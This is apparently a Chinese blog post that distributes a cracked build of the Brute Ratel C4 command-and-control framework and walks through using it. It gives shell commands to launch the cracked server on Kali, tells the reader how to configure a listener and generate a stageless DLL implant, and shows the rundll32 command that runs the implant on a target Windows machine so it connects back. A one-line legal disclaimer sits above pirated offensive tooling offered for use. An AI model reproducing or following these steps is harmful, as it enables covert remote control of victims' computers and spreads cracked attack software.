远控工具BRC4 1.4.5破解版——附简单使用教程

本文提供的BRC4 1.4.5由41group破解，棉花糖未参与破解及制作，使用此工具需遵守法律法规，一切后果由使用者本人承担。

简单使用教程：

以下操作除马子执行外，均在kali完成。

拿到压缩包，放到kali中解压，得到如下文件：

给brute-ratel-linx64_crack以及lib64/commander执行权限

chmod +x brute-ratel-linx64_crackch
mod +x lib64/commander

./brute-ratel-linx64_crack -ratel -a admin -p password -h 127.0.0.1:50000 -sc cert.pem -sk key.pem

chmod +x Rungui.sh
./Rungui.sh

按如下图示配置即可

需要注意的地方：listener name为监听名称，可自定义，第二行为选择监听地址，可点击选择你的ip，第三行为重定向地址，可点击右侧same按钮选择与监听地址一致，端口可自定义，URL栏据官方描述可随便乱填，ssl棉花糖个人建议选择no，因为测试中ssl选择yes无法成功上线，sleep和jitter类似于cs的延时时间，可调低，末尾最后一行勾选后，马子如果一次不上线，不会一直请求

配置好后点击save保存，即可得到一个监听器，右键此监听器，选择Stageless，即可生成对应架构的马子，棉花糖演示选择的是 X64 Arch （Default） ->  Dll，生成的dll放到目标win中，​cmd执行：

rundll32 .\badger_x64.dll,main

即可上线

注意事项

1、如果出现：cp:对 ‘xmodlibcp.bin’调用 stat 失败:没有那个文件或目录错误:./command-run不存在或不可执行，无法打开GUI

请直接执行：

chmod +x commander-runme

./commander-runme

2、如果关闭服务端后再启动，需要输入邮箱等，只需要重新把压缩包里的xmodlib.bin文件放入解压目录里即可